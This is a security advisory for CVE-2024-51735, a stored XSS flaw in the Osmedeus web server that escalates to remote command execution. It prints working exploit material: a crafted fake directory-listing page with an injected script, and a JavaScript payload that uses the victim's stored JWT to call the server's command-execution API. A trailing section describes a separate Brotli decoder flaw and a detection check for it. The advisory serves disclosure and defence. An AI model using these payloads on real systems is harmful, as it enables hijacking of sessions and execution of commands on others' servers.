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CVE-2024-51735

NVDCIRCLENISA

EUVD-2024-3323 · Published Nov 5, 2024

Osmedeus Web Server Vulnerable to Stored XSS, Leading to RCE

Summary

XSS occurs on the Osmedues web server when viewing results from the workflow, allowing commands to be executed on the server.

Details

When using a workflow that contains the summary module, it generates reports in HTML and Markdown formats. The default report is based on the general-template.md template.

<p align="center">
  <a href="https://www.osmedeus.org"><img alt="Osmedeus" src="https://raw.githubusercontent.com/osmedeus/assets/main/logo-transparent.png" height="140" /></a>
  <br />
  <br />
  <strong>Execute Summary Generated by Osmedeus {{Version}} at <em>{{CurrentDay}}</em></strong>

  <p align="center">
  <a href="https://docs.osmedeus.org/"><img src="https://img.shields.io/badge/Documentation-0078D4?style=for-the-badge&logo=GitBook&logoColor=39ff14&labelColor=black&color=black"></a>
  <a href="https://docs.osmedeus.org/donation/"><img src="https://img.shields.io/badge/Donation-0078D4?style=for-the-badge&logo=GitHub-Sponsors&logoColor=39ff14&labelColor=black&color=black"></a>
  <a href="https://twitter.com/OsmedeusEngine"><img src="https://img.shields.io/badge/%40OsmedeusEngine-0078D4?style=for-the-badge&logo=Twitter&logoColor=39ff14&labelColor=black&color=black"></a>
  </p>
</p>

## Scan Information 

<scanInfo />

***

## 🚀 Subdomains

<content src="{{Output}}/subdomain/final-{{Workspace}}.txt" shorten=true />

***

## 🌐 HTTP Fingerprint

<content src="{{Output}}/fingerprint/beautify-{{Workspace}}-http.txt" />

***

## 🐞 Vulnerability

### List of Vulnerability Reports

- [**{{Workspace}}-report.html**]({{Output}}/vuln/active/{{Workspace}}-report.html)
- [**{{Workspace}}-sensitive.html**]({{Output}}/vuln/sensitive/{{Workspace}}-sensitive.html)
- [**{{Workspace}}-nuclei.html**]({{Output}}/vuln/nuclei/{{Workspace}}-nuclei.html)

### Jaeles Scan

<content src="{{Output}}/vuln/active/jaeles-summary.txt" />

<content src="{{Output}}/vuln/sensitive/jaeles-summary.txt" />

***

### Nuclei Scan

<content src="{{Output}}/vuln/nuclei/{{Workspace}}-nuclei-scan.txt" />

***

## 🕷️ Spider Content

<content src="{{Output}}/linkfinding/links-{{Workspace}}.txt"/>

***

## 📃 Content Discovery

<content src="{{Output}}/directory/unique-beautify-{{Workspace}}.txt" />

***


## 🔍 Port Scan

<content src="{{Output}}/portscan/open-ports.txt" />


***

The contents of the files are read and used to generate the report. However, the file contents are not properly filtered, leading to XSS
The issue starts with processing the <content> tags, and XSS occurs when the extendTag function is called.

https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L36
https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L95
https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L114
https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L122-L124

The condition to enter this if branch must meet one of the following cases:

  • Tag shorten=true: In the default template, only subdomains have this tag ⇒ Subdomains cannot contain special characters, so XSS is not possible.
  • len(fileContent) > r.Opt.MDCodeBlockLimit: Simply put, the content length needs to exceed the MDCodeBlockLimit configuration (default is 10,000).

After reviewing the files loaded in the default template, we select Spider Content because it meets the conditions:

  • It can contain special characters since the spider retrieves results through Katana ⇒ Katana parses content based on <a> tags ⇒ We can create custom payloads by leveraging this mechanism."
 <! -- Fake Index Content --> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="1">1</a></li>
<li><a href="?abc=<script>alert(1)</script>">yxfzssjq_1721182234998.pdf</a></li>
</ul>
<hr>
</body>
</html>
  • Easily bypass the condition len(fileContent) > r.Opt.MDCodeBlockLimit
  • Spider is a module within the general workflow ⇒ a default workflow that is most commonly used
PoC

https://drive.google.com/file/d/1u-YowfzFV1tUqLaZk4s4Y1DykFhJZ8gR/view?usp=sharing

Payload RCE

<script>fetch(window.location.origin+'/api/osmp/execute',{method:'POST',body:JSON.stringify({command:'echo 1 >/tmp/js.txt',password:''}),headers:{Authorization:'Osmedeus '+localStorage.jwt,'Content-Type':'application/json'}});</script>

File index payload


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="1">1</a></li>
<li><a href="675559605-1278d133b090b74129f65f6d108d2c83.pdf">675559605-1278d133b090b74129f65f6d108d2c83.pdf</a></li>
<li><a href="959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe">959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe</a></li>
<li><a href="%5BMS-DOCX%5D-240416.docx">[MS-DOCX]-240416.docx</a></li>
<li><a href="AnyDesk.exe">AnyDesk.exe</a></li>
<li><a href="Attachment.zip">Attachment.zip</a></li>
<li><a href="barker.tar">barker.tar</a></li>
<li><a href="c1awptpm_1721182413858.pdf">c1awptpm_1721182413858.pdf</a></li>
<li><a href="cacert.der">cacert.der</a></li>
<li><a href="caido-desktop-logs-1729480323.zip">caido-desktop-logs-1729480323.zip</a></li>
<li><a href="caido-desktop-v0.41.0-win-x86_64.exe">caido-desktop-v0.41.0-win-x86_64.exe</a></li>
<li><a href="caido-desktop-v0.42.0-win-x86_64.exe">caido-desktop-v0.42.0-win-x86_64.exe</a></li>
<li><a href="cdd">cdd</a></li>
<li><a href="CentOS-7-live-GNOME-x86_64.iso">CentOS-7-live-GNOME-x86_64.iso</a></li>
<li><a href="chrome-integrate.zip">chrome-integrate.zip</a></li>
<li><a href="ChromeSetup.exe">ChromeSetup.exe</a></li>
<li><a href="Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf">Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf</a></li>
<li><a href="CxSAST.950.Release.Setup_9.5.0.100.7z">CxSAST.950.Release.Setup_9.5.0.100.7z</a></li>
<li><a href="C%C3%81C%20QUY%20%C4%90%E1%BB%8ANH%20%26%20TI%C3%8AU%20CHU%E1%BA%A8N%20C%E1%BA%A6N%20BI%E1%BA%BET%20CHO%20DOANH%20NGHI%E1%BB%86P%20NH%E1%BB%B0A%20XU%E1%BA%A4T%20KH%E1%BA%A8U%20V%C3%80O%20EU.pdf">CÁC QUY ĐỊNH &amp; TIÊU CHUẨN CẦN BIẾT CHO DOANH NGHIỆP NHỰA XUẤT KHẨU VÀO EU.pdf</a></li>
<li><a href="Danh%20sach%20may%20chu%20T18.xlsx">Danh sach may chu T18.xlsx</a></li>
<li><a href="de4dot-net45.zip">de4dot-net45.zip</a></li>
<li><a href="de4dot-netcoreapp3.1.zip">de4dot-netcoreapp3.1.zip</a></li>
<li><a href="desktop.ini">desktop.ini</a></li>
<li><a href="disk-1.KkwpoIcO.vmdk.part">disk-1.KkwpoIcO.vmdk.part</a></li>
<li><a href="disk-1.vmdk">disk-1.vmdk</a></li>
<li><a href="dist.zip">dist.zip</a></li>
<li><a href="dnSpy-net-win64.zip">dnSpy-net-win64.zip</a></li>
<li><a href="doc.9.1.0.rar">doc.9.1.0.rar</a></li>
<li><a href="download">download</a></li>
<li><a href="Earned_Achievements_2024-09-16.pdf">Earned_Achievements_2024-09-16.pdf</a></li>
<li><a href="Eazfuscator.NET%202024.1%20Setup.msi">Eazfuscator.NET 2024.1 Setup.msi</a></li>
<li><a href="flare-ida-master.zip">flare-ida-master.zip</a></li>
<li><a href="gitlab-recovery-codes.txt">gitlab-recovery-codes.txt</a></li>
<li><a href="Hacking%20Rust.pdf">Hacking Rust.pdf</a></li>
<li><a href="Huong%20dan%20cai%20dat%20Oracle%20New.docx">Huong dan cai dat Oracle New.docx</a></li>
<li><a href="ida83_sdk_tools_v2.zip">ida83_sdk_tools_v2.zip</a></li>
<li><a href="ida84_sdk_tools.zip">ida84_sdk_tools.zip</a></li>
<li><a href="IDARustDemangler.py">IDARustDemangler.py</a></li>
<li><a href="idb2pat.py">idb2pat.py</a></li>
<li><a href="incident-notification_26.03.2024-2.pdf">incident-notification_26.03.2024-2.pdf</a></li>
<li><a href="ironword.2024.8.3.nupkg">ironword.2024.8.3.nupkg</a></li>
<li><a href="KCSC_Recruitment.pdf">KCSC_Recruitment.pdf</a></li>
<li><a href="K%E1%BA%BF%20ho%E1%BA%A1ch%20%C4%91%C3%A0o%20t%E1%BA%A1o%2005102023%20%282%29.xlsx">Kế hoạch đào tạo 05102023 (2).xlsx</a></li>
<li><a href="linkfinder.json">linkfinder.json</a></li>
<li><a href="Margherita%20Report%20Demo_report.pdf">Margherita Report Demo_report.pdf</a></li>
<li><a href="Mastering_Malware_Analysis.pdf">Mastering_Malware_Analysis.pdf</a></li>
<li><a href="M%E1%BA%ABu-Danh%20sach%20Quan%20ly%20Backup-CS_v1.xlsx">Mẫu-Danh sach Quan ly Backup-CS_v1.xlsx</a></li>
<li><a href="node-v20.17.0-x64.msi">node-v20.17.0-x64.msi</a></li>
<li><a href="OpenJDK21U-jdk_x64_windows_hotspot_21.0.4_7.zip">OpenJDK21U-jdk_x64_windows_hotspot_21.0.4_7.zip</a></li>
<li><a href="OSED%20Notes%20Study%20Overview%20by%20Joas%20Antonio.pdf">OSED Notes Study Overview by Joas Antonio.pdf</a></li>
<li><a href="PAKD%20paytech.xlsx">PAKD paytech.xlsx</a></li>
<li><a href="password">password</a></li>
<li><a href="patriotctf.rar">patriotctf.rar</a></li>
<li><a href="pestudio-9.59.zip">pestudio-9.59.zip</a></li>
<li><a href="photo_2023-01-04_09-04-52.jpg">photo_2023-01-04_09-04-52.jpg</a></li>
<li><a href="photo_2023-01-04_09-04-55%20%282%29.jpg">photo_2023-01-04_09-04-55 (2).jpg</a></li>
<li><a href="photo_2023-01-04_09-04-55.jpg">photo_2023-01-04_09-04-55.jpg</a></li>
<li><a href="photo_2024-09-27_09-47-55.jpg">photo_2024-09-27_09-47-55.jpg</a></li>
<li><a href="Ph%E1%BB%A5%20l%E1%BB%A5c%205.xlsx">Phụ lục 5.xlsx</a></li>
<li><a href="plugin.zip">plugin.zip</a></li>
<li><a href="processhacker-2.39-setup.exe">processhacker-2.39-setup.exe</a></li>
<li><a href="publications.pdf">publications.pdf</a></li>
<li><a href="pwnfox.json">pwnfox.json</a></li>
<li><a href="pykd_ext_2.0.0.25.zip">pykd_ext_2.0.0.25.zip</a></li>
<li><a href="rp-win.zip">rp-win.zip</a></li>
<li><a href="rs.zip">rs.zip</a></li>
<li><a href="rustup-init.exe">rustup-init.exe</a></li>
<li><a href="setup.exe">setup.exe</a></li>
<li><a href="Single%20Page%20Applications%20with%20Vue.js.rar">Single Page Applications with Vue.js.rar</a></li>
<li><a href="Skilled_Person_Registration_Template_2pWPpnl.xlsx">Skilled_Person_Registration_Template_2pWPpnl.xlsx</a></li>
<li><a href="snapshot_2024-10-03_12-14.zip">snapshot_2024-10-03_12-14.zip</a></li>
<li><a href="spire.doc.12.7.3.nupkg">spire.doc.12.7.3.nupkg</a></li>
<li><a href="spire.doc.9.1.0.nupkg">spire.doc.9.1.0.nupkg</a></li>
<li><a href="spire.doc.cpp.11.4.5.nupkg">spire.doc.cpp.11.4.5.nupkg</a></li>
<li><a href="sticker.webm">sticker.webm</a></li>
<li><a href="Telegram%20Desktop/">Telegram Desktop/</a></li>
<li><a href="test">test</a></li>
<li><a href="test.php">test.php</a></li>
<li><a href="test2">test2</a></li>
<li><a href="test1.php">test1.php</a></li>
<li><a href="test2.php">test2.php</a></li>
<li><a href="test3.php">test3.php</a></li>
<li><a href="test4.php">test4.php</a></li>
<li><a href="test5.php">test5.php</a></li>
<li><a href="test6.php">test6.php</a></li>
<li><a href="test7.php">test7.php</a></li>
<li><a href="test8.php">test8.php</a></li>
<li><a href="test9.php">test9.php</a></li>
<li><a href="test10.php">test10.php</a></li>
<li><a href="test11.php">test11.php</a></li>
<li><a href="test12.php">test12.php</a></li>
<li><a href="test13.php">test13.php</a></li>
<li><a href="test14.php">test14.php</a></li>
<li><a href="test15.php">test15.php</a></li>
<li><a href="test16.php">test16.php</a></li>
<li><a href="test17.php">test17.php</a></li>
<li><a href="test18.php">test18.php</a></li>
<li><a href="test19.php">test19.php</a></li>
<li><a href="test20.php">test20.php</a></li>
<li><a href="test21.php">test21.php</a></li>
<li><a href="test22.php">test22.php</a></li>
<li><a href="test23.php">test23.php</a></li>
<li><a href="test24.php">test24.php</a></li>
<li><a href="test25.php">test25.php</a></li>
<li><a href="test26.php">test26.php</a></li>
<li><a href="test27.php">test27.php</a></li>
<li><a href="test28.php">test28.php</a></li>
<li><a href="test29.php">test29.php</a></li>
<li><a href="test30.php">test30.php</a></li>
<li><a href="test31.php">test31.php</a></li>
<li><a href="test32.php">test32.php</a></li>
<li><a href="test33.php">test33.php</a></li>
<li><a href="test34.php">test34.php</a></li>
<li><a href="test35.php">test35.php</a></li>
<li><a href="test36.php">test36.php</a></li>
<li><a href="test37.php">test37.php</a></li>
<li><a href="test38.php">test38.php</a></li>
<li><a href="test39.php">test39.php</a></li>
<li><a href="test40.php">test40.php</a></li>
<li><a href="test41.php">test41.php</a></li>
<li><a href="test42.php">test42.php</a></li>
<li><a href="test43.php">test43.php</a></li>
<li><a href="test44.php">test44.php</a></li>
<li><a href="test45.php">test45.php</a></li>
<li><a href="test46.php">test46.php</a></li>
<li><a href="test47.php">test47.php</a></li>
<li><a href="test48.php">test48.php</a></li>
<li><a href="test49.php">test49.php</a></li>
<li><a href="test50.php">test50.php</a></li>
<li><a href="test51.php">test51.php</a></li>
<li><a href="test52.php">test52.php</a></li>
<li><a href="test53.php">test53.php</a></li>
<li><a href="test54.php">test54.php</a></li>
<li><a href="test55.php">test55.php</a></li>
<li><a href="test56.php">test56.php</a></li>
<li><a href="test57.php">test57.php</a></li>
<li><a href="test58.php">test58.php</a></li>
<li><a href="test59.php">test59.php</a></li>
<li><a href="test60.php">test60.php</a></li>
<li><a href="test61.php">test61.php</a></li>
<li><a href="test62.php">test62.php</a></li>
<li><a href="test63.php">test63.php</a></li>
<li><a href="test64.php">test64.php</a></li>
<li><a href="test65.php">test65.php</a></li>
<li><a href="test66.php">test66.php</a></li>
<li><a href="test67.php">test67.php</a></li>
<li><a href="test68.php">test68.php</a></li>
<li><a href="test69.php">test69.php</a></li>
<li><a href="test70.php">test70.php</a></li>
<li><a href="test71.php">test71.php</a></li>
<li><a href="test72.php">test72.php</a></li>
<li><a href="test73.php">test73.php</a></li>
<li><a href="test74.php">test74.php</a></li>
<li><a href="test75.php">test75.php</a></li>
<li><a href="test76.php">test76.php</a></li>
<li><a href="test77.php">test77.php</a></li>
<li><a href="test78.php">test78.php</a></li>
<li><a href="test79.php">test79.php</a></li>
<li><a href="test80.php">test80.php</a></li>
<li><a href="test81.php">test81.php</a></li>
<li><a href="test82.php">test82.php</a></li>
<li><a href="test83.php">test83.php</a></li>
<li><a href="test84.php">test84.php</a></li>
<li><a href="test85.php">test85.php</a></li>
<li><a href="test86.php">test86.php</a></li>
<li><a href="test87.php">test87.php</a></li>
<li><a href="test88.php">test88.php</a></li>
<li><a href="test89.php">test89.php</a></li>
<li><a href="test90.php">test90.php</a></li>
<li><a href="test91.php">test91.php</a></li>
<li><a href="test92.php">test92.php</a></li>
<li><a href="test93.php">test93.php</a></li>
<li><a href="test94.php">test94.php</a></li>
<li><a href="test95.php">test95.php</a></li>
<li><a href="test96.php">test96.php</a></li>
<li><a href="test97.php">test97.php</a></li>
<li><a href="test98.php">test98.php</a></li>
<li><a href="test99.php">test99.php</a></li>
<li><a href="test100.php">test100.php</a></li>
<li><a href="test101.php">test101.php</a></li>
<li><a href="test102.php">test102.php</a></li>
<li><a href="test103.php">test103.php</a></li>
<li><a href="test104.php">test104.php</a></li>
<li><a href="test105.php">test105.php</a></li>
<li><a href="test106.php">test106.php</a></li>
<li><a href="test107.php">test107.php</a></li>
<li><a href="test108.php">test108.php</a></li>
<li><a href="test109.php">test109.php</a></li>
<li><a href="test110.php">test110.php</a></li>
<li><a href="test111.php">test111.php</a></li>
<li><a href="test112.php">test112.php</a></li>
<li><a href="test113.php">test113.php</a></li>
<li><a href="test114.php">test114.php</a></li>
<li><a href="test115.php">test115.php</a></li>
<li><a href="test116.php">test116.php</a></li>
<li><a href="test117.php">test117.php</a></li>
<li><a href="test118.php">test118.php</a></li>
<li><a href="test119.php">test119.php</a></li>
<li><a href="test120.php">test120.php</a></li>
<li><a href="test121.php">test121.php</a></li>
<li><a href="test122.php">test122.php</a></li>
<li><a href="test123.php">test123.php</a></li>
<li><a href="test124.php">test124.php</a></li>
<li><a href="test125.php">test125.php</a></li>
<li><a href="test126.php">test126.php</a></li>
<li><a href="test127.php">test127.php</a></li>
<li><a href="test128.php">test128.php</a></li>
<li><a href="test129.php">test129.php</a></li>
<li><a href="test130.php">test130.php</a></li>
<li><a href="test131.php">test131.php</a></li>
<li><a href="test132.php">test132.php</a></li>
<li><a href="test133.php">test133.php</a></li>
<li><a href="test134.php">test134.php</a></li>
<li><a href="test135.php">test135.php</a></li>
<li><a href="test136.php">test136.php</a></li>
<li><a href="test137.php">test137.php</a></li>
<li><a href="test138.php">test138.php</a></li>
<li><a href="test139.php">test139.php</a></li>
<li><a href="test140.php">test140.php</a></li>
<li><a href="test141.php">test141.php</a></li>
<li><a href="test142.php">test142.php</a></li>
<li><a href="test143.php">test143.php</a></li>
<li><a href="test144.php">test144.php</a></li>
<li><a href="test145.php">test145.php</a></li>
<li><a href="test146.php">test146.php</a></li>
<li><a href="test147.php">test147.php</a></li>
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Impact

Execute command on server

Technologies

J3Ssie Osmedeus

Weaknesses

CWE-79CWE-78

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

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